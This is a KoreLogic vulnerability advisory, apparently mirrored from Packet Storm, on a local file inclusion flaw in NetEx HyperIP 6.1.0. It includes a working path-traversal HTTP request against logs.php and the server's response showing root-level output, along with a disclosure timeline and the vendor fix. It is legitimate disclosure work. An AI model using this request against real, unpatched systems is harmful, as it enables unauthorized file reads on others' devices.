NetEx HyperIP 6.1.0 Local File Inclusion

🗓️ 09 Feb 2018 00:00:00Reported by Matthew BerginType
packetstorm🔗 packetstormsecurity.com👁 38 Views
NetEx HyperIP 6.1.0 Local File Inclusion Vulnerability in logs.ph
`KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability  
  
Title: NetEx HyperIP Local File Inclusion Vulnerability  
Advisory ID: KL-001-2018-005  
Publication Date: 2018.02.08  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-005.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: NetEx  
Affected Product: HyperIP  
Affected Version: 6.1.0  
Platform: Embedded Linux  
CWE Classification: CWE-73: External Control of File Name or Path, CWE-592: Authentication Bypass Issues  
Impact: Arbitrary Filesystem Reads  
Attack vector: HTTPS  
  
2. Vulnerability Description  
  
Local files can be included within the HTTP response given  
by logs.php  
  
3. Technical Description  
  
Any arbitrary file, such as the one created in KL-001-2018-004, can  
be returned by the logs.php script.  
  
GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1  
Host: 1.3.3.7  
Accept-Language: en-US,en;q=0.5  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
HTTP/1.1 200 OK  
Date: Mon, 27 Mar 2017 13:07:51 GMT  
Server: Apache/2.2.3 (CentOS)  
X-Powered-By: PHP/5.1.6  
Content-Length: 502  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
<html>  
<head>  
<meta HTTP-EQUIV="Expires" CONTENT="0">  
<link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">  
</head>  
<body class="dsp">  
  
<H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1>  
<pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
</pre>  
</body>  
</html>  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has released version 6.1.1 of HyperIP, which they state  
addresses this vulnerability.  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2017.07.24 - KoreLogic submits vulnerability details to NetEx.  
2017.07.24 - NetEx confirms receipt.  
2017.08.16 - NetEx informs KoreLogic that this and other reported  
vulnerabilities have been addressed in the forthcoming  
release. ETA as of yet undetermined.  
2017.09.05 - 30 business days have elapsed since the vulnerability  
was reported to NetEx.  
2017.09.19 - NetEx informs KoreLogic that the forthcoming release  
6.1.1 is expected to ship at the end of January 2018.  
2017.09.26 - 45 business days have elapsed since the vulnerability  
was reported to NetEx.  
2017.12.01 - 90 business days have elapsed since the vulnerability  
was reported to NetEx.  
2018.01.17 - 120 business days have elapsed since the vulnerability  
was reported to NetEx.  
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release  
has gone live.  
2018.02.08 - KoreLogic public disclosure.  
  
7. Proof of Concept  
  
See 3. Technical Description.  
  
  
The contents of this advisory are copyright(c) 2018  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
`
09 Feb 2018 00:00Current
6.6Medium risk
Vulners AI Score6.6